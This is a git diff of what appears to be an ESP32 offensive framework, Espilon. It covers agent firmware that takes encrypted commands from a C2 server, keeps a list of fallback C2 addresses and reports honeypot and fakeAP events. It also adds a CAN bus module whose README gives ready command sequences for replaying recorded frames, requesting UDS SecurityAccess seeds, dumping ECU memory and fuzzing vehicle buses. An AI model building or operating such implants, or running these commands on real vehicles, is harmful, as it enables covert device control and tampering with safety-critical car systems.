unsigned char *plain = chacha_cd((const unsigned char *)decoded, decoded_len);
/* 2) Decrypt + authenticate (AEAD) */
uint8_t plain[1024];
int plain_len = crypto_decrypt(
(const uint8_t *)decoded, decoded_len,
plain, sizeof(plain)
);
free(decoded);
if (!plain) {
ESP_LOGE(TAG, "ChaCha decrypt failed");
if (plain_len < 0) {
ESP_LOGE(TAG, "Decrypt/auth failed tampered or wrong key");
return false;
}
/* 3) Protobuf decode -> c2_Command */
c2_Command cmd = c2_Command_init_zero;
pb_istream_t is = pb_istream_from_buffer(plain, decoded_len);
pb_istream_t is = pb_istream_from_buffer(plain, (size_t)plain_len);
if (!pb_decode(&is, c2_Command_fields, &cmd)) {
ESP_LOGE(TAG, "PB decode error: %s", PB_GET_ERROR(&is));
free(plain);
return false;
}
free(plain);
/* 4) Log + dispatch */
#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE
ESP_LOGI(TAG, "==== C2 COMMAND ====");

View File

@ -0,0 +1,48 @@
/*
* event_format.h
* Generic wire format for security events (honeypot, fakeAP, etc.).
*
* Wire format: EVT|<type>|<severity>|<mac>|<ip>:<sport>><dport>|<detail>
* Parsed by HpStore.parse_and_store() on the C2 side.
*/
#pragma once
#include <stdio.h>
#include <string.h>
#include "utils.h"
/**
* Send a security event to the C2 via msg_data().
*
* @param event_type e.g. "SVC_AUTH_ATTEMPT", "WIFI_PROBE", "PORT_SCAN"
* @param severity "LOW", "MEDIUM", "HIGH", "CRITICAL"
* @param src_mac "aa:bb:cc:dd:ee:ff" or "00:00:00:00:00:00"
* @param src_ip Source IP address
* @param src_port Source port (0 if unknown)
* @param dst_port Destination port
* @param detail Free-form detail, e.g. "user='admin' pass='1234'"
* @param request_id NULL or request_id for response routing
* @return true on success, false on truncation or send failure
*/
static inline bool event_send(
const char *event_type,
const char *severity,
const char *src_mac,
const char *src_ip,
int src_port,
int dst_port,
const char *detail,
const char *request_id
) {
char buf[256];
int len = snprintf(buf, sizeof(buf),
"EVT|%s|%s|%s|%s:%d>%d|%s",
event_type, severity, src_mac,
src_ip, src_port, dst_port,
detail ? detail : "");
if (len <= 0 || len >= (int)sizeof(buf))
return false;
return msg_data("EVT", buf, (size_t)len, true, request_id);
}

View File

@ -11,10 +11,9 @@
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h" /* CONFIG_*, base64, crypto */
#include "command.h" /* process_command */
#include "utils.h" /* CONFIG_*, base64, crypto, command */
#ifdef CONFIG_NETWORK_GPRS
#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK)
static const char *TAG = "GPRS";
@ -158,22 +157,19 @@ bool connect_gprs(void)
* TCP
* ============================================================ */
bool connect_tcp(void)
bool connect_tcp_to(const char *ip, int port)
{
char buf[BUFF_SIZE];
char cmd[128];
ESP_LOGI(TAG, "TCP connect %s:%d",
CONFIG_SERVER_IP,
CONFIG_SERVER_PORT);
ESP_LOGI(TAG, "TCP connect %s:%d", ip, port);
send_at_command("AT+CIPMUX=0");
at_wait_ok(buf, sizeof(buf), 2000);
snprintf(cmd, sizeof(cmd),
"AT+CIPSTART=\"TCP\",\"%s\",\"%d\"",
CONFIG_SERVER_IP,
CONFIG_SERVER_PORT);
ip, port);
send_at_command(cmd);
if (!at_read(buf, sizeof(buf), 15000))
@ -188,6 +184,11 @@ bool connect_tcp(void)
return false;
}
bool connect_tcp(void)
{
return connect_tcp_to(CONFIG_SERVER_IP, CONFIG_SERVER_PORT);
}
/* ============================================================
* RX HELPERS
* ============================================================ */
@ -230,10 +231,8 @@ void gprs_rx_poll(void)
rx_len += r;
rx_buf[rx_len] = '\0';
ESP_LOGW(TAG, "RAW UART RX (%d bytes buffered)", rx_len);
ESP_LOGW(TAG, "----------------------------");
ESP_LOGW(TAG, "%s", rx_buf);
ESP_LOGW(TAG, "----------------------------");
ESP_LOGD(TAG, "RAW UART RX (%d bytes buffered)", rx_len);
ESP_LOGD(TAG, "%s", rx_buf);
/* nettoyer CR/LF */
for (size_t i = 0; i < rx_len; i++) {
@ -284,33 +283,6 @@ bool gprs_send(const void *buf, size_t len)
return true;
}
/* ============================================================
* CLIENT TASK
* ============================================================ */
void gprs_client_task(void *pvParameters)
{
ESP_LOGI(TAG, "GPRS client task started");
while (1) {
if (!connect_gprs() || !connect_tcp()) {
ESP_LOGE(TAG, "Connection failed, retrying...");
vTaskDelay(pdMS_TO_TICKS(5000));
continue;
}
/* Handshake identique WiFi */
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
ESP_LOGI(TAG, "Handshake sent");
while (1) {
gprs_rx_poll();
vTaskDelay(pdMS_TO_TICKS(10));
}
}
}
/* ============================================================
* CLOSE
* ============================================================ */
@ -322,4 +294,125 @@ void close_tcp_connection(void)
send_at_command("AT+CIPSHUT");
}
/* ============================================================
* CLIENT TASK (GPRS primary mode only)
* ============================================================ */
#ifdef CONFIG_NETWORK_GPRS
#ifdef CONFIG_MODULE_FALLBACK
#include "fb_config.h"
#include "fb_hunt.h"
extern atomic_bool fb_active;
/* Try NVS C2 fallback addresses over GPRS */
static bool try_gprs_fallback_c2s(void)
{
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
for (int i = 0; i < count; i++) {
char ip_buf[48];
int port = CONFIG_SERVER_PORT;
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
ip_buf[sizeof(ip_buf) - 1] = '\0';
char *colon = strrchr(ip_buf, ':');
if (colon) {
*colon = '\0';
port = atoi(colon + 1);
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
}
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
close_tcp_connection();
if (connect_tcp_to(ip_buf, port)) {
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
return true;
}
}
return false;
}
#endif /* CONFIG_MODULE_FALLBACK */
void gprs_client_task(void *pvParameters)
{
ESP_LOGI(TAG, "GPRS client task started");
int tcp_fail_count = 0;
#ifdef CONFIG_FB_WIFI_FALLBACK
int gprs_dead_count = 0;
#endif
while (1) {
#ifdef CONFIG_MODULE_FALLBACK
/* If fallback hunt is active, wait for it to finish */
while (fb_active) {
vTaskDelay(pdMS_TO_TICKS(1000));
}
#endif
/* GPRS attach */
if (!connect_gprs()) {
ESP_LOGE(TAG, "GPRS connection failed");
#ifdef CONFIG_FB_WIFI_FALLBACK
gprs_dead_count++;
ESP_LOGW(TAG, "GPRS dead count: %d/%d",
gprs_dead_count, CONFIG_FB_GPRS_FAIL_THRESHOLD);
if (gprs_dead_count >= CONFIG_FB_GPRS_FAIL_THRESHOLD) {
ESP_LOGW(TAG, "GPRS dead — triggering WiFi fallback hunt");
fb_hunt_set_skip_gprs(true);
fb_hunt_trigger();
gprs_dead_count = 0;
continue;
}
#endif
setup_modem();
vTaskDelay(pdMS_TO_TICKS(5000));
continue;
}
#ifdef CONFIG_FB_WIFI_FALLBACK
gprs_dead_count = 0;
#endif
/* TCP connect to C2 */
if (!connect_tcp()) {
tcp_fail_count++;
ESP_LOGW(TAG, "TCP connect failed (%d consecutive)", tcp_fail_count);
#ifdef CONFIG_MODULE_FALLBACK
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD) {
/* Level 1: try NVS C2 fallback addresses over GPRS */
if (try_gprs_fallback_c2s()) {
tcp_fail_count = 0;
goto handshake;
}
/* Modem restart */
ESP_LOGW(TAG, "All C2 unreachable — modem restart");
close_tcp_connection();
setup_modem();
tcp_fail_count = 0;
}
#endif
vTaskDelay(pdMS_TO_TICKS(5000));
continue;
}
tcp_fail_count = 0;
#ifdef CONFIG_MODULE_FALLBACK
handshake:
#endif
/* Handshake */
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
ESP_LOGI(TAG, "Handshake sent");
while (1) {
gprs_rx_poll();
vTaskDelay(pdMS_TO_TICKS(10));
}
}
}
#endif /* CONFIG_NETWORK_GPRS */
#endif /* CONFIG_NETWORK_GPRS || CONFIG_FB_GPRS_FALLBACK */

View File

@ -8,12 +8,14 @@
#include "pb_encode.h"
#include "c2.pb.h"
#include "utils.h" /* base64_encode, chacha_cd, CONFIG_DEVICE_ID */
#include "freertos/semphr.h"
#include "utils.h" /* crypto_encrypt, base64_encode, CONFIG_DEVICE_ID */
#define TAG "AGENT_MSG"
#define MAX_PROTOBUF_SIZE 512
extern int sock;
extern SemaphoreHandle_t sock_mutex;
/* ============================================================
* TCP helpers
@ -22,14 +24,27 @@ extern int sock;
static bool tcp_send_all(const void *buf, size_t len)
{
#ifdef CONFIG_NETWORK_WIFI
extern int sock;
xSemaphoreTake(sock_mutex, portMAX_DELAY);
int current_sock = sock;
xSemaphoreGive(sock_mutex);
if (current_sock < 0) {
ESP_LOGE(TAG, "socket not connected");
return false;
}
const uint8_t *p = (const uint8_t *)buf;
while (len > 0) {
int sent = lwip_write(sock, p, len);
int sent = lwip_write(current_sock, p, len);
if (sent <= 0) {
ESP_LOGE(TAG, "lwip_write failed");
ESP_LOGE(TAG, "lwip_write failed, disconnecting");
xSemaphoreTake(sock_mutex, portMAX_DELAY);
if (sock == current_sock) {
lwip_close(sock);
sock = -1;
}
xSemaphoreGive(sock_mutex);
return false;
}
p += sent;
@ -54,8 +69,11 @@ static bool send_base64_frame(const uint8_t *data, size_t len)
return false;
}
bool ok = tcp_send_all(b64, strlen(b64)) &&
tcp_send_all("\n", 1);
/* Prepend "device_id:" so the C2 can identify which key to use */
bool ok = tcp_send_all(CONFIG_DEVICE_ID, strlen(CONFIG_DEVICE_ID))
&& tcp_send_all(":", 1)
&& tcp_send_all(b64, strlen(b64))
&& tcp_send_all("\n", 1);
free(b64);
return ok;
@ -67,10 +85,10 @@ static bool send_base64_frame(const uint8_t *data, size_t len)
static bool encode_encrypt_send(c2_AgentMessage *msg)
{
uint8_t buffer[MAX_PROTOBUF_SIZE];
uint8_t pb_buf[MAX_PROTOBUF_SIZE];
pb_ostream_t stream =
pb_ostream_from_buffer(buffer, sizeof(buffer));
pb_ostream_from_buffer(pb_buf, sizeof(pb_buf));
if (!pb_encode(&stream, c2_AgentMessage_fields, msg)) {
ESP_LOGE(TAG, "pb_encode failed: %s",
@ -80,16 +98,17 @@ static bool encode_encrypt_send(c2_AgentMessage *msg)
size_t proto_len = stream.bytes_written;
uint8_t *cipher =
(uint8_t *)chacha_cd(buffer, proto_len);
if (!cipher) {
ESP_LOGE(TAG, "chacha_cd failed");
/* nonce[12] + ciphertext + tag[16] */
uint8_t enc_buf[MAX_PROTOBUF_SIZE + 12 + 16];
int enc_len = crypto_encrypt(pb_buf, proto_len,
enc_buf, sizeof(enc_buf));
if (enc_len < 0) {
ESP_LOGE(TAG, "crypto_encrypt failed");
return false;
}
bool ok = send_base64_frame(cipher, proto_len);
free(cipher);
return ok;
return send_base64_frame(enc_buf, (size_t)enc_len);
}
/* ============================================================

View File

@ -23,7 +23,7 @@ typedef struct _c2_Command {
char device_id[64];
char command_name[32];
pb_size_t argv_count;
char argv[8][64];
char argv[8][256];
char request_id[64];
} c2_Command;
@ -98,7 +98,7 @@ extern const pb_msgdesc_t c2_AgentMessage_msg;
/* Maximum encoded size of messages (where known) */
#define C2_PROTO_C2_PB_H_MAX_SIZE c2_Command_size
#define c2_AgentMessage_size 426
#define c2_Command_size 683
#define c2_Command_size 2227
#ifdef __cplusplus
} /* extern "C" */

View File

@ -1,7 +1,6 @@
#include <string.h>
#include "c2.pb.h"
#include "command.h"
#include "utils.h"
#include "esp_log.h"
@ -18,14 +17,15 @@ void process_command(const c2_Command *cmd)
}
/* -----------------------------------------------------
* Device ID check
* Device ID check allow broadcast (empty device_id)
* ----------------------------------------------------- */
//if (!device_id_matches(CONFIG_DEVICE_ID, cmd->device_id)) {
// ESP_LOGW(TAG,
// "Command not for this device (target=%s)",
// cmd->device_id);
// return;
//}
if (cmd->device_id[0] != '\0' &&
strcmp(CONFIG_DEVICE_ID, cmd->device_id) != 0) {
ESP_LOGW(TAG,
"Command not for this device (target=%s, self=%s)",
cmd->device_id, CONFIG_DEVICE_ID);
return;
}
/* -----------------------------------------------------
* Basic validation

View File

@ -13,6 +13,7 @@ extern "C" {
#include "sdkconfig.h"
#include "esp_log.h"
#include "esp_err.h"
/* >>> CRITIQUE <<< */
#include "c2.pb.h" /* c2_Command, c2_AgentMsgType */
@ -64,14 +65,25 @@ extern int sock;
bool com_init(void);
/* ============================================================
* CRYPTO API
* CRYPTO API (ChaCha20-Poly1305 AEAD + HKDF)
* ============================================================ */
/* Init crypto: read master key from factory NVS, derive via HKDF-SHA256 */
bool crypto_init(void);
/*
* ChaCha20 encrypt/decrypt
* Retourne un buffer malloc()'d free() obligatoire
* Encrypt (AEAD). Output: nonce[12] || ciphertext || tag[16]
* Returns total output length, or -1 on error.
*/
unsigned char *chacha_cd(const unsigned char *data, size_t data_len);
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
uint8_t *out, size_t out_cap);
/*
* Decrypt + verify (AEAD). Input: nonce[12] || ciphertext || tag[16]
* Returns plaintext length, or -1 on error / auth failure.
*/
int crypto_decrypt(const uint8_t *in, size_t in_len,
uint8_t *out, size_t out_cap);
/* Base64 helpers */
char *base64_decode(const char *input, size_t *output_len);
@ -138,42 +150,89 @@ void process_command_from_buffer(
size_t len
);
/* ============================================================
* COMMAND REGISTRY & DISPATCH
* ============================================================ */
#define MAX_COMMANDS 72
#define MAX_ASYNC_ARGS 8
#define MAX_ASYNC_ARG_LEN 64
typedef esp_err_t (*command_handler_t)(
int argc,
char **argv,
const char *request_id,
void *ctx
);
typedef struct {
const char *name;
const char *sub;
const char *help;
int min_args;
int max_args;
command_handler_t handler;
void *ctx;
bool async;
} command_t;
void command_register(const command_t *cmd);
void command_log_registry_summary(void);
void command_process_pb(const c2_Command *cmd);
void command_async_init(void);
void command_async_enqueue(const command_t *cmd, const c2_Command *pb_cmd, int argv_offset);
/* ============================================================
* WIFI
* ============================================================ */
#ifdef CONFIG_NETWORK_WIFI
void wifi_init(void);
void tcp_client_task(void *pvParameters);
void wifi_pause_reconnect(void);
void wifi_resume_reconnect(void);
#endif
/* Fallback: when true, WiFi.c skips its own reconnect logic */
#include <stdatomic.h>
extern atomic_bool fb_active;
/* FakeAP: when true, WiFi.c skips reconnect to avoid interference */
#ifdef CONFIG_MODULE_FAKEAP
extern atomic_bool fakeap_active;
#endif
/* ============================================================
* GPRS
* ============================================================ */
#ifdef CONFIG_NETWORK_GPRS
#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK)
#define BUFF_SIZE 1024
#define UART_NUM UART_NUM_1
#define TXD_PIN 27
#define RXD_PIN 26
#define PWR_KEY 4
#define PWR_EN 23
#define RESET 5
#define LED_GPIO 13
#define TXD_PIN CONFIG_GPRS_TXD_PIN
#define RXD_PIN CONFIG_GPRS_RXD_PIN
#define PWR_KEY CONFIG_GPRS_PWR_KEY
#define PWR_EN CONFIG_GPRS_PWR_EN
#define RESET CONFIG_GPRS_RESET_PIN
#define LED_GPIO CONFIG_GPRS_LED_GPIO
void setup_uart(void);
void setup_modem(void);
bool connect_gprs(void);
bool connect_tcp(void);
bool connect_tcp_to(const char *ip, int port);
bool gprs_send(const void *buf, size_t len);
void gprs_rx_poll(void);
void close_tcp_connection(void);
void gprs_client_task(void *pvParameters);
void send_at_command(const char *cmd);
#endif
#ifdef CONFIG_NETWORK_GPRS
void gprs_client_task(void *pvParameters);
#endif
#ifdef __cplusplus
}

View File

@ -0,0 +1,27 @@
set(CANBUS_SRCS
cmd_canbus.c
canbus_driver.c
canbus_config.c
)
if(CONFIG_CANBUS_ISO_TP)
list(APPEND CANBUS_SRCS canbus_isotp.c)
endif()
if(CONFIG_CANBUS_UDS)
list(APPEND CANBUS_SRCS canbus_uds.c)
endif()
if(CONFIG_CANBUS_OBD)
list(APPEND CANBUS_SRCS canbus_obd.c)
endif()
if(CONFIG_CANBUS_FUZZ)
list(APPEND CANBUS_SRCS canbus_fuzz.c)
endif()
idf_component_register(
SRCS ${CANBUS_SRCS}
INCLUDE_DIRS .
REQUIRES core nvs_flash freertos driver
)

View File

@ -0,0 +1,341 @@
# CAN Bus Module (mod_canbus)
Automotive CAN bus offensive module for Espilon, built on the **MCP2515** SPI controller. Supports passive sniffing, frame injection, ISO-TP transport, UDS diagnostics, OBD-II decoding, fuzzing, and replay.
> **Authorization required**: CAN bus interaction with vehicles must be performed only on owned hardware or with explicit written authorization. Unauthorized access to vehicle networks is illegal.
---
## Table of Contents
- [Hardware Requirements](#hardware-requirements)
- [Wiring](#wiring)
- [Configuration](#configuration)
- [Architecture](#architecture)
- [Commands Reference](#commands-reference)
- [Core Commands](#core-commands)
- [UDS Diagnostic Commands](#uds-diagnostic-commands)
- [OBD-II Commands](#obd-ii-commands)
- [Fuzzing Commands](#fuzzing-commands)
- [Frame Format](#frame-format)
- [C3PO Integration](#c3po-integration)
- [Usage Examples](#usage-examples)
- [Troubleshooting](#troubleshooting)
---
## Hardware Requirements
| Component | Role | Cost |
|-----------|------|------|
| **MCP2515 module** | CAN 2.0B controller + TJA1050 transceiver | ~3 EUR |
| **ESP32** | Main MCU (any variant with SPI) | ~5 EUR |
Most MCP2515 modules sold online already integrate the TJA1050 CAN transceiver. Check the oscillator crystal on your module — common values are **8 MHz** and **16 MHz** (must match Kconfig `CANBUS_OSC_MHZ`).
---
## Wiring
Default GPIO mapping (configurable via `idf.py menuconfig`):
```
MCP2515 Module ESP32 (VSPI)
────────────── ────────────
VCC → 3.3V
GND → GND
CS → GPIO 5
MOSI (SI) → GPIO 23
MISO (SO) → GPIO 19
SCK → GPIO 18
INT → GPIO 4 (active low)
```
Connect **CAN_H** and **CAN_L** on the MCP2515 module to the target CAN bus. For OBD-II: pin 6 (CAN_H) and pin 14 (CAN_L).
---
## Configuration
Enable the module in `idf.py menuconfig` under **Modules > CAN Bus Module (MCP2515)**.
### Kconfig Options
| Option | Default | Description |
|--------|---------|-------------|
| `CONFIG_MODULE_CANBUS` | n | Enable the CAN bus module |
| `CANBUS_SPI_HOST` | 3 (VSPI) | SPI host: 2=HSPI, 3=VSPI |
| `CANBUS_PIN_MOSI` | 23 | SPI MOSI GPIO |
| `CANBUS_PIN_MISO` | 19 | SPI MISO GPIO |
| `CANBUS_PIN_SCK` | 18 | SPI SCK GPIO |
| `CANBUS_PIN_CS` | 5 | SPI Chip Select GPIO |
| `CANBUS_PIN_INT` | 4 | MCP2515 interrupt GPIO (active low) |
| `CANBUS_OSC_MHZ` | 8 | Oscillator frequency on MCP2515 module |
| `CANBUS_DEFAULT_BITRATE` | 500000 | Default bus speed (bps) |
| `CANBUS_SPI_CLOCK_HZ` | 10000000 | SPI clock (max 10 MHz) |
| `CANBUS_RECORD_BUFFER` | 512 | Frame ring buffer size (64-2048) |
| `CANBUS_ISO_TP` | y | ISO-TP transport layer (required for UDS/OBD) |
| `CANBUS_UDS` | y | UDS diagnostic services (requires ISO-TP) |
| `CANBUS_OBD` | y | OBD-II PID decoder (requires ISO-TP) |
| `CANBUS_FUZZ` | y | CAN fuzzing engine |
### Supported Bitrates
| Bitrate | Use Case | 8 MHz | 16 MHz |
|---------|----------|-------|--------|
| 1 Mbps | High-speed CAN | - | Yes |
| 500 kbps | Standard automotive | Yes | Yes |
| 250 kbps | J1939 (trucks) | Yes | Yes |
| 125 kbps | Low-speed CAN | Yes | Yes |
| 100 kbps | Diagnostic | Yes | Yes |
---
## Architecture
```
┌─────────────────────────────────────────────────────┐
│ cmd_canbus.c — C2 command handlers (27 cmds)│
│ ↕ │
│ canbus_uds.c — UDS (ISO 14229) services │
│ canbus_obd.c — OBD-II PID decoder │
│ canbus_fuzz.c — Fuzzing engine │
│ ↕ │
│ canbus_isotp.c — ISO-TP (ISO 15765-2) │
│ ↕ │
│ canbus_driver.c — MCP2515 SPI driver + RX task │
│ ↕ │
│ canbus_config.c — NVS persistence │
│ ↕ │
│ ESP-IDF SPI Master — Hardware SPI bus │
└─────────────────────────────────────────────────────┘
```
### File Manifest
| File | Lines | Layer |
|------|-------|-------|
| `canbus_driver.c/.h` | ~920 | MCP2515 SPI + RX/TX + ISR |
| `canbus_isotp.c/.h` | ~480 | Multi-frame CAN transport |
| `canbus_uds.c/.h` | ~440 | Automotive diagnostics |
| `canbus_obd.c/.h` | ~390 | OBD-II PID decode |
| `canbus_fuzz.c/.h` | ~390 | Fuzz testing engine |
| `canbus_config.c/.h` | ~360 | NVS persistence |
| `cmd_canbus.c/.h` | ~1360 | Command handlers + registration |
| **Total** | **~4350** | |
### NVS Persistence
Namespace: `"can_cfg"`
| Key | Type | Content |
|-----|------|---------|
| `bitrate` | i32 | Saved CAN speed |
| `osc_mhz` | u8 | Oscillator frequency |
| `sw_filters` | blob | Up to 16 software filter IDs |
| `ecus` | blob | Discovered UDS ECU IDs |
---
## Commands Reference
### Core Commands
| Command | Args | Async | Description |
|---------|------|-------|-------------|
| `can_start [bitrate] [mode]` | 0-2 | No | Init MCP2515, start bus. Mode: `normal` (default), `listen`, `loopback` |
| `can_stop` | 0 | No | Stop bus, set MCP2515 to config mode |
| `can_send <id_hex> <data_hex>` | 2 | No | Send a single frame. Ex: `can_send 0x7DF 0201000000000000` |
| `can_filter_add <id_hex>` | 1 | No | Add software filter (pass only matching IDs) |
| `can_filter_del <id_hex>` | 1 | No | Remove a software filter |
| `can_filter_list` | 0 | No | List active software filters |
| `can_filter_clear` | 0 | No | Clear all filters (accept everything) |
| `can_status` | 0 | No | Show bus state, config, RX/TX counters, error counters |
| `can_sniff [duration_s]` | 0-1 | **Yes** | Stream frames to C2 for N seconds (default: 10) |
| `can_record [duration_s]` | 0-1 | **Yes** | Record to local ring buffer for N seconds (default: 10) |
| `can_dump` | 0 | **Yes** | Send recorded buffer to C2 |
| `can_replay [speed_pct]` | 0-1 | **Yes** | Replay recorded buffer. 100=real-time, 0=max speed |
### UDS Diagnostic Commands
*Requires `CONFIG_CANBUS_UDS=y` (depends on ISO-TP)*
| Command | Args | Async | Description |
|---------|------|-------|-------------|
| `can_scan_ecu` | 0 | **Yes** | Discover ECUs: scans 0x7E0-0x7E7, 0x700-0x7DF |
| `can_uds <tx_id> <service_hex> [data_hex]` | 2-3 | **Yes** | Raw UDS request |
| `can_uds_session <tx_id> <type>` | 2 | No | DiagnosticSessionControl (1=default, 2=prog, 3=extended) |
| `can_uds_read <tx_id> <did_hex>` | 2 | **Yes** | ReadDataByIdentifier |
| `can_uds_dump <tx_id> <addr_hex> <size>` | 3 | **Yes** | ReadMemoryByAddress (streamed) |
| `can_uds_auth <tx_id> [level]` | 1-2 | **Yes** | SecurityAccess seed request |
### OBD-II Commands
*Requires `CONFIG_CANBUS_OBD=y` (depends on ISO-TP)*
| Command | Args | Async | Description |
|---------|------|-------|-------------|
| `can_obd <pid_hex>` | 1 | **Yes** | Query single PID, returns decoded value |
| `can_obd_vin` | 0 | **Yes** | Read Vehicle Identification Number |
| `can_obd_dtc` | 0 | **Yes** | Read Diagnostic Trouble Codes |
| `can_obd_supported` | 0 | **Yes** | List supported PIDs |
| `can_obd_monitor <pids> [interval_ms]` | 1-2 | **Yes** | Stream PIDs to C2 continuously |
| `can_obd_monitor_stop` | 0 | No | Stop monitoring |
### Fuzzing Commands
*Requires `CONFIG_CANBUS_FUZZ=y`*
| Command | Args | Async | Description |
|---------|------|-------|-------------|
| `can_fuzz_id [start] [end] [delay_ms]` | 0-3 | **Yes** | Iterate all CAN IDs with fixed payload |
| `can_fuzz_data <id_hex> [seed_hex] [delay_ms]` | 1-3 | **Yes** | Mutate data bytes for fixed ID |
| `can_fuzz_random [delay_ms] [count]` | 0-2 | **Yes** | Random ID + random data |
| `can_fuzz_stop` | 0 | No | Stop fuzzing |
---
## Frame Format
Frames streamed to C2 use the format:
```
CAN|<timestamp_ms>|<id_hex>|<dlc>|<data_hex>
```
**Example:**
```
CAN|1708000123456|0x123|8|DEADBEEF01020304
```
### Special Markers
| Marker | Meaning |
|--------|---------|
| `SNIFF_END` | End of sniff session |
| `DUMP_START\|<count>` | Beginning of frame dump |
| `DUMP_END` | End of frame dump |
| `UDS_RSP\|<rx_id>\|<hex>` | UDS response |
| `MEM_DUMP\|<addr>\|<size>` | Start of memory dump |
| `MEM\|<addr>\|<hex_data>` | Memory block |
| `MEM_DUMP_END` | End of memory dump |
| `ECU\|<tx_id>\|<rx_id>` | Discovered ECU |
---
## C3PO Integration
### REST API
CAN frames received from agents are stored in a server-side ring buffer (10,000 frames max).
| Endpoint | Method | Description |
|----------|--------|-------------|
| `/api/can/frames` | GET | List frames. Params: `device_id`, `can_id`, `limit`, `offset` |
| `/api/can/stats` | GET | Frame stats. Params: `device_id` |
| `/api/can/frames/export` | GET | Download CSV. Params: `device_id` |
### TUI Commands
From the C3PO interactive TUI:
```
can stats [device_id] — Frame count, unique CAN IDs
can frames [device_id] [limit] — Display last N frames
can clear — Clear frame store
```
### Transport Integration
CAN frames arrive via `AGENT_DATA` messages with the `CAN|` prefix. The transport layer automatically parses and stores them in `CanStore`.
---
## Usage Examples
### Basic Sniffing (Listen-Only)
```
> can_start 500000 listen # Start in stealth mode (no ACK on bus)
> can_sniff 30 # Stream frames for 30 seconds
> can_stop
```
### Record and Replay
```
> can_start 500000 listen
> can_record 60 # Record for 60 seconds
> can_stop
> can_start 500000 normal # Switch to normal mode for TX
> can_replay 100 # Replay at real-time speed
```
### OBD-II Vehicle Diagnostics
```
> can_start 500000 # Standard automotive bitrate
> can_obd_supported # List what the car supports
> can_obd 0C # Engine RPM
> can_obd 0D # Vehicle speed (km/h)
> can_obd_vin # VIN number
> can_obd_dtc # Read trouble codes
> can_obd_monitor 0C,0D 500 # Stream RPM + speed every 500ms
```
### UDS ECU Exploration
```
> can_start 500000
> can_scan_ecu # Find ECUs on bus
> can_uds_session 0x7E0 3 # Extended session on ECU 0x7E0
> can_uds_read 0x7E0 F190 # Read VIN via DID
> can_uds_read 0x7E0 F191 # Hardware version
> can_uds_auth 0x7E0 1 # SecurityAccess level 1
> can_uds_dump 0x7E0 0x00000000 4096 # Dump 4KB from address 0
```
### Fuzzing (Isolated Bus Only!)
```
> can_start 500000
> can_fuzz_id 0x000 0x7FF 10 # Scan all standard IDs, 10ms delay
> can_fuzz_data 0x7E0 0000000000000000 5 # Mutate bytes on ECU ID
> can_fuzz_stop
```
---
## Troubleshooting
### MCP2515 not detected
- Verify wiring (CS, MOSI, MISO, SCK)
- Check `CANBUS_OSC_MHZ` matches the crystal on your module (8 vs 16 MHz)
- Try `can_start 500000 loopback` — if loopback works, wiring to the bus is the issue
### No frames received
- Confirm bus speed matches the target (500k for cars, 250k for trucks)
- Try `listen` mode first: `can_start 500000 listen`
- Check CAN_H / CAN_L connections and termination (120 ohm)
- Use `can_status` to check error counters — high RX errors indicate speed mismatch
### Bus-off state
- TEC exceeded 255 — the MCP2515 disconnected from the bus
- `can_stop` then `can_start` to reset
- Check for wiring issues or speed mismatch
### RX overflow
- Bus traffic exceeds processing speed
- Reduce bus load or add hardware filters: `can_filter_add <id>`
- Increase `CANBUS_RECORD_BUFFER` in menuconfig
### SPI communication errors
- Reduce `CANBUS_SPI_CLOCK_HZ` (try 8000000 or 4000000)
- Check for long wires or loose connections
- Ensure no other device shares the SPI bus

View File

@ -0,0 +1,319 @@
/*
* canbus_config.c
* NVS-backed persistent config for CAN bus module.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_CANBUS
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "nvs_flash.h"
#include "nvs.h"
#include "canbus_config.h"
#define TAG "CAN_CFG"
#define NVS_NS "can_cfg"
/* NVS keys */
#define KEY_BITRATE "bitrate"
#define KEY_OSC_MHZ "osc_mhz"
#define KEY_FILTERS "sw_filters"
#define KEY_FILTER_CNT "sw_filt_cnt"
#define KEY_ECUS "ecus"
#define KEY_ECU_CNT "ecu_cnt"
/* ============================================================
* Init
* ============================================================ */
void can_config_init(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err == ESP_OK) {
nvs_close(h);
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
} else {
ESP_LOGW(TAG, "NVS open failed: %s", esp_err_to_name(err));
}
}
/* ============================================================
* Bitrate
* ============================================================ */
int can_config_get_bitrate(void)
{
nvs_handle_t h;
int32_t val = CONFIG_CANBUS_DEFAULT_BITRATE;
if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) {
nvs_get_i32(h, KEY_BITRATE, &val);
nvs_close(h);
}
return (int)val;
}
esp_err_t can_config_set_bitrate(int bitrate)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = nvs_set_i32(h, KEY_BITRATE, bitrate);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Oscillator
* ============================================================ */
uint8_t can_config_get_osc_mhz(void)
{
nvs_handle_t h;
uint8_t val = CONFIG_CANBUS_OSC_MHZ;
if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) {
nvs_get_u8(h, KEY_OSC_MHZ, &val);
nvs_close(h);
}
return val;
}
esp_err_t can_config_set_osc_mhz(uint8_t mhz)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = nvs_set_u8(h, KEY_OSC_MHZ, mhz);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Software Filters (stored as blob of uint32_t array)
* ============================================================ */
